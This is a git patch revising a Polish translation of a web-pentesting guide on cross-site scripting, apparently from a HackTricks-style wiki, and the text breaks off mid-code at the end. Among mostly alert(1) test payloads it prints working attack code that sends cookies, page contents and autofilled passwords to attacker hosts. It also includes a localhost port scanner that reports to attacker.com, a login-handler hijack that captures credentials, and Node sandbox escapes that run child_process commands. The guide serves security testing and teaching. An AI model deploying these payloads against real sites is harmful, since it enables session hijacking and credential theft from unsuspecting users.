From 79f5065be8d9f962da5b57a1307a6533ca3ad8d3 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:36:00 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md', --- .../xss-cross-site-scripting/README.md | 522 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 46 +- 2 files changed, 323 insertions(+), 245 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 81bba7448..a419904e1 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,80 +4,81 @@ ## Metodologia -1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez kod **JS**. +1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parameters_, _path_, _headers_?, _cookies_?) jest **odzwierciedlana** w HTML lub **używana** przez **JS**. 2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana. -3. Jeśli **odzwierciedlona** -1. Sprawdź **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek: +3. Jeśli **odzwierciedlana** +1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego przygotuj payload: 1. W **surowym HTML**: 1. Czy możesz tworzyć nowe tagi HTML? -2. Czy możesz używać zdarzeń lub atrybutów wspierających protokół `javascript:`? +2. Czy możesz użyć eventów lub atrybutów obsługujących protokół `javascript:`? 3. Czy możesz obejść zabezpieczenia? -4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? -2. W **tagu HTML**: -1. Czy możesz wyjść do surowego kontekstu HTML? -2. Czy możesz tworzyć nowe zdarzenia/atrybuty, aby wykonać kod JS? -3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS? +4. Czy zawartość HTML jest interpretowana przez jakiś client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), możesz nadużyć [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz nadużyć [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +2. Wewnątrz **tagu HTML**: +1. Czy możesz wyjść do kontekstu surowego HTML? +2. Czy możesz stworzyć nowe eventy/atrybuty żeby wykonać kod JS? +3. Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS? 4. Czy możesz obejść zabezpieczenia? -3. W **kodzie JavaScript**: -1. Czy możesz uciec z tagu ``** tagami strony HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**: +W tym przypadku Twoje dane wejściowe są odzwierciedlane pomiędzy **``** tagami strony HTML, wewnątrz pliku `.js` lub wewnątrz atrybutu używającego protokołu **`javascript:`**: -- Jeśli jest odzwierciedlany pomiędzy **``** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `` jest wewnątrz kodu HTML. -- Jeśli jest odzwierciedlany **wewnątrz ciągu JS** i ostatni trik nie działa, musisz **wyjść** z ciągu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany): +- Jeśli odzwierciedlane jest pomiędzy **``** tagami, nawet jeśli Twoje dane wejściowe znajdują się w jakichkolwiek cudzysłowach, możesz spróbować wstrzyknąć `` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw parsuje tagi HTML**, a dopiero potem zawartość; w związku z tym nie zauważy, że wstrzyknięty tag `` znajduje się wewnątrz kodu HTML. +- Jeśli odzwierciedlane jest **wewnątrz JS stringa** i poprzedni trik nie działa, musisz **wyjść** z łańcucha (stringa), **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**: +- Jeśli odzwierciedlane jest wewnątrz template literals możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** works to write **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala na wykorzystanie scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\ -**Sprawdź następującą stronę po więcej informacji:** +Javascript Hoisting odnosi się do możliwości **zadeklarowania functions, variables lub classes po ich użyciu, dzięki czemu możesz wykorzystać scenariusze, w których XSS używa undeclared variables lub functions.**\ +**Więcej informacji na następującej stronie:** {{#ref}} @@ -95,19 +96,19 @@ js-hoisting.md ### Javascript Function -Kilka stron internetowych ma punkty końcowe, które **akceptują jako parametr nazwę funkcji do wykonania**. Typowym przykładem, który można zobaczyć w praktyce, jest coś takiego: `?callback=callbackFunc`. +Wiele stron ma endpoints, które **przyjmują jako parametr nazwę function do wykonania**. Częstym przykładem spotykanym w praktyce jest coś takiego: `?callback=callbackFunc`. -Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użytkownika próbuje być wykonane, jest **zmiana wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów, takich jak: +Dobry sposób, by sprawdzić, czy coś podane bezpośrednio przez użytkownika jest próbą wykonania, to **zmodyfikować wartość parametru** (np. na 'Vulnerable') i sprawdzić w console, czy pojawią się błędy takie jak: ![](<../../images/image (711).png>) -W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**). +Jeśli jest podatne, możesz być w stanie **uruchomić alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak często te endpoints **walidują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**). -Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**: +Jednak nawet przy tym ograniczeniu nadal można wykonać pewne działania. Wynika to z tego, że możesz użyć tych dozwolonych znaków, aby uzyskać dostęp do dowolnego elementu w DOM: ![](<../../images/image (747).png>) -Niektóre przydatne funkcje do tego: +Kilka przydatnych funkcji do tego: ``` firstElementChild lastElementChild @@ -115,11 +116,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`. +Możesz także spróbować bezpośrednio **wywołać funkcje Javascript**: `obj.sales.delOrders`. -Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej akcji. +Jednak zazwyczaj endpointy wykonujące wskazaną funkcję to endpointy bez ciekawego DOM, **inne strony w tej samej origin** będą miały **bardziej interesujący DOM** do przeprowadzenia większej liczby akcji. + +Dlatego, aby **nadużyć tej podatności w innym DOM** opracowano eksploatację **Same Origin Method Execution (SOME)**: -Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano **Same Origin Method Execution (SOME)**: {{#ref}} some-same-origin-method-execution.md @@ -127,36 +129,39 @@ some-same-origin-method-execution.md ### DOM -Istnieje **kod JS**, który **niebezpiecznie** używa **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby to wykorzystać do wykonania dowolnego kodu JS. +Istnieje **JS code**, który **niewłaściwie** wykorzystuje dane **kontrolowane przez atakującego**, takie jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS. + {{#ref}} dom-xss.md {{#endref}} -### **Uniwersalne XSS** +### **Universal XSS** -Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta aplikacji webowej, ale od **jakiegokolwiek** **kontekstu**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\ +Ten typ XSS może występować **wszędzie**. Nie zależą one tylko od exploitacji klienta aplikacji webowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **arbitrary JavaScript execution** może nawet zostać wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i innych możliwości.\ Niektóre **przykłady**: + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## Kodowanie omijające WAF obrazu +## WAF bypass encoding image -![z https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) +![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Wstrzykiwanie wewnątrz surowego HTML +## Injecting inside raw HTML -Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\ -W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\*_ +Gdy Twoje wejście jest odzwierciedlane **wewnątrz strony HTML** lub możesz w tym kontekście uciec i wstrzyknąć kod HTML, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<` do tworzenia nowych tagów: po prostu spróbuj **odbić** ten **znak** i sprawdź, czy jest **HTML encoded**, **usuwany**, czy **odbijany bez zmian**. **Tylko w ostatnim przypadku będziesz w stanie to wykorzystać**.\ +W takich przypadkach również **miej na uwadze** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\***\***\*_ -W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak: +W tym przypadku, i jeśli nie stosuje się black/whitelisting, możesz użyć payloadów takich jak: ```html ` lub pomiędzy zdarzeniami HTML, które mogą wykonywać kod JS lub pomiędzy atrybutami, które akceptują protokół `javascript:`. +W takim przypadku twoje **wejście** zostanie **odzwierciedlone wewnątrz JS code** w pliku `.js` lub pomiędzy tagami `` albo w eventach HTML, które mogą wykonać JS code, lub w atrybutach akceptujących protokół `javascript:`. ### Ucieczka z tagu \` możesz łatwo **uciec zamykając tag `` możesz łatwo **uciec, zamykając tag ` ``` -Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak, ponieważ **analiza HTML jest najpierw wykonywana przez przeglądarkę**, co obejmuje identyfikację elementów strony, w tym bloków skryptów. Analiza JavaScript w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później. +Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, które obejmuje identyfikację elementów strony, w tym bloków skryptów. Parsowanie JavaScript w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później. ### Wewnątrz kodu JS -Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, gdzie znajduje się twój **input** i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany: +Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha znaków** **gdzie znajduje się Twoje wejście** i **wykonać dowolny kod JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` +#### JS-in-JS string break → inject → repair pattern + +Gdy dane użytkownika trafiają do cytowanego stringa w JavaScript (np. echo po stronie serwera w osadzonym skrypcie), możesz przerwać string, wstrzyknąć kod i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w JS stringu: +``` +?param=test";;a=" +``` +This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords. + ### Template literals \`\` -Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\ -Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**: +Aby konstruować **strings** — oprócz pojedynczych i podwójnych cudzysłowów JS akceptuje także **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzanie wyrażeń JS** przy użyciu składni `${ ... }`.\ -Można to **nadużyć** używając: +Jeśli więc stwierdzisz, że Twoje dane wejściowe są **odbijane** wewnątrz JS string używającego backticks, możesz wykorzystać składnię `${ ... }`, by wykonać **dowolny kod JS**: + +This can be **abused** using: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -506,22 +527,37 @@ return loop } loop`` ``` -### Wykonanie kodu zakodowanego +### Zakodowane code execution ```html ``` -**Javascript wewnątrz komentarza** +**Javascript w komentarzu** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -740,64 +776,62 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **Luki w DOM** +## **DOM vulnerabilities** -Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\ -**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM, zostało to przeniesione na tę stronę**](dom-xss.md)**:** +Istnieje **JS code**, który korzysta z danych kontrolowanych przez atakującego w niebezpieczny sposób, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\ +**Z uwagi na obszerność wyjaśnienia** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Tam znajdziesz szczegółowe **wyjaśnienie, czym są luki w DOM, jak są wywoływane i jak je wykorzystać**.\ -Nie zapomnij również, że **na końcu wspomnianego posta** możesz znaleźć wyjaśnienie dotyczące [**ataków DOM Clobbering**](dom-xss.md#dom-clobbering). +Znajdziesz tam szczegółowe **wyjaśnienie, czym są DOM vulnerabilities, jak są wywoływane i jak je eksploatować**.\ +Nie zapomnij też, że **na końcu wspomnianego artykułu** znajduje się wyjaśnienie dotyczące [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -### Ulepszanie Self-XSS +### Upgrading Self-XSS ### Cookie XSS -Jeśli możesz wywołać XSS, wysyłając ładunek w ciasteczku, zazwyczaj jest to self-XSS. Jednak jeśli znajdziesz **wrażliwy subdomen do XSS**, możesz wykorzystać ten XSS do wstrzyknięcia ciasteczka w całej domenie, co pozwoli na wywołanie cookie XSS w głównej domenie lub innych subdomenach (tych wrażliwych na cookie XSS). W tym celu możesz użyć ataku cookie tossing: +Jeśli możesz wywołać XSS wysyłając payload wewnątrz cookie, zwykle jest to Self-XSS. Jednak jeśli znajdziesz **vulnerable subdomain to XSS**, możesz wykorzystać ten XSS do wstrzyknięcia cookie dla całej domeny, co pozwoli uruchomić cookie XSS w domenie głównej lub innych subdomenach (tych podatnych na cookie XSS). W tym celu możesz użyć cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Możesz znaleźć świetne wykorzystanie tej techniki w [**tym poście na blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +Przykładowe wykorzystanie tej techniki można znaleźć w [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). -### Wysyłanie swojej sesji do administratora +### Sending your session to the admin -Może się zdarzyć, że użytkownik może podzielić się swoim profilem z administratorem, a jeśli self XSS znajduje się w profilu użytkownika i administrator uzyska do niego dostęp, wywoła lukę. +Może użytkownik udostępnić swój profil adminowi, a jeśli Self-XSS znajduje się w profilu użytkownika i admin go odwiedzi, uruchomi podatność. -### Odbicie sesji +### Session Mirroring -Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł Ci pomóc, będzie widział to, co Ty widzisz w swojej sesji, ale z jego sesji. +Jeśli znajdziesz jakieś Self-XSS, a strona ma **session mirroring for administrators** — na przykład umożliwiając klientom proszenie o pomoc, tak że aby admin mógł pomóc będzie widzieć to, co widzisz w swojej session, ale z perspektywy jego session — możesz sprawić, że **administrator uruchomi twoje Self-XSS** i ukraść jego cookies/session. -Możesz sprawić, że **administrator wywoła Twoje self XSS** i ukraść jego ciasteczka/sesję. +## Other Bypasses -## Inne obejścia +### Normalised Unicode -### Normalizowany Unicode +Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane w Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/index.html#xss-cross-site-scripting). - -### Obejście flagi PHP FILTER_VALIDATE_EMAIL +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass -Z powodu **RoR mass assignment** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\ -Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek: +Z powodu **RoR mass assignment** w HTML wstawiane są cudzysłowy, dzięki czemu ograniczenie cudzysłowów można obejść i dodatkowe pola (onfocus) można dodać wewnątrz znacznika.\ +Przykład formularza ([from this report](https://hackerone.com/reports/709336)), jeśli wyślesz payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Para "Key","Value" zostanie zwrócone w ten sposób: +Para "Key","Value" zostanie zwrócona w następujący sposób: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Wtedy atrybut onfocus zostanie wstawiony i wystąpi XSS. +Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS. ### Specjalne kombinacje ```html @@ -829,24 +863,24 @@ Wtedy atrybut onfocus zostanie wstawiony i wystąpi XSS. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS z wstrzyknięciem nagłówków w odpowiedzi 302 +### XSS with header injection in a 302 response -Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny. +Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To jest **not trivial**, ponieważ nowoczesne przeglądarki nie interpretują HTTP response body jeśli HTTP response status code to 302, więc sam cross-site scripting payload jest bezużyteczny. -W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w ciele.\ -Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`. +W [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak testować różne protokoły w Location header i sprawdzić, czy któryś z nich pozwala browserowi inspect i execute XSS payload inside the body.\ +Dotychczas znane protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### Tylko litery, cyfry i kropki +### Only Letters, Numbers and Dots -Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania. +Jeśli możesz wskazać **callback**, który javascript ma **execute**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak wykorzystać to zachowanie. -### Ważne ` @@ -945,22 +981,22 @@ Jeśli strona zwraca typ zawartości text/xml, możliwe jest wskazanie przestrze ``` -### Specjalne Wzorce Zastępcze +### Specjalne wzorce zastępowania -Kiedy coś takiego jak **`"some {{template}} data".replace("{{template}}", )`** jest używane. Atakujący może użyć [**specjalnych zastąpień ciągów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), aby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Gdy używa się czegoś w stylu **`"some {{template}} data".replace("{{template}}", )`**, atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), to zostało użyte do **ucieczki z ciągu JSON** wewnątrz skryptu i wykonania dowolnego kodu. +Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), użyto tego, aby **zescapować ciąg JSON** wewnątrz skryptu i wykonać dowolny kod. -### Pamięć podręczna Chrome do XSS +### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### Ucieczka z XS Jails +### XS Jails Escape -Jeśli masz tylko ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania dla problemów z XSJail: +Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne prawidłowe rozwiązania dla problemów XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -991,16 +1027,16 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu: +Jeśli przed uruchomieniem nieufnego kodu **wszystko jest niezdefiniowane** (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) możliwe jest wygenerowanie użytecznych obiektów "z niczego", aby nadużyć wykonywania dowolnego nieufnego kodu: -- Używając import() +- Użycie import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- Uzyskiwanie dostępu do `require` pośrednio +- Dostęp do `require` pośrednio -[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowane przez Node.js w funkcję, w ten sposób: +[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowywane przez Node.js wewnątrz funkcji, w następujący sposób: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code @@ -1015,7 +1051,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie obsługi błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**: +Podobnie jak w poprzednim przykładzie, możliwe jest **use error handlers** aby uzyskać dostęp do **wrapper** modułu i otrzymać funkcję **`require`**: ```javascript try { null.f() @@ -1053,9 +1089,9 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Obfuskacja i zaawansowane omijanie +### Obfuscation & Advanced Bypass -- **Różne obfuskacje na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Różne obfuscations na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1234,25 +1270,25 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS common payloads +## XSS typowe payloady -### Several payloads in 1 +### Kilka payloads w 1 {{#ref}} steal-info-js.md {{#endref}} -### Iframe Trap +### Pułapka iframe -Zmuszenie użytkownika do nawigacji po stronie bez opuszczania iframe i kradzież jego działań (w tym informacji wysyłanych w formularzach): +Spraw, aby użytkownik poruszał się po stronie bez opuszczania iframe i przechwyć jego działania (w tym informacje przesyłane w formularzach): {{#ref}} ../iframe-traps.md {{#endref}} -### Retrieve Cookies +### Pobieranie cookies ```javascript /?c="+document.cookie> @@ -1275,9 +1311,9 @@ Zmuszenie użytkownika do nawigacji po stronie bez opuszczania iframe i kradzie ``` > [!TIP] -> Nie **będziesz mógł uzyskać dostęp do ciasteczek z JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli masz wystarczająco dużo szczęścia. +> **Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript** jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) jeśli będziesz miał szczęście. -### Kradzież zawartości strony +### Wykradanie zawartości strony ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1347,11 +1383,11 @@ q.shift()() } ``` -### Skaner portów (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Skaner portów (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### Przechwytywanie haseł automatycznego uzupełniania +### Przechwytywanie haseł z autouzupełniania ```javascript Username:
@@ -1385,18 +1421,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Gdy jakiekolwiek dane zostaną wprowadzone w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane. +Kiedy w password field zostaną wprowadzone jakiekolwiek dane, username i password są wysyłane do attackers server; nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated. + +### Hijack form handlers to exfiltrate credentials (const shadowing) + +Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a Twój payload uruchamia się wcześniej (np. via an inline JS-in-JS sink), zdefiniuj najpierw `const` o tej samej nazwie, aby przechwycić i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy `const`, pozostawiając Twój hook w kontroli: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = 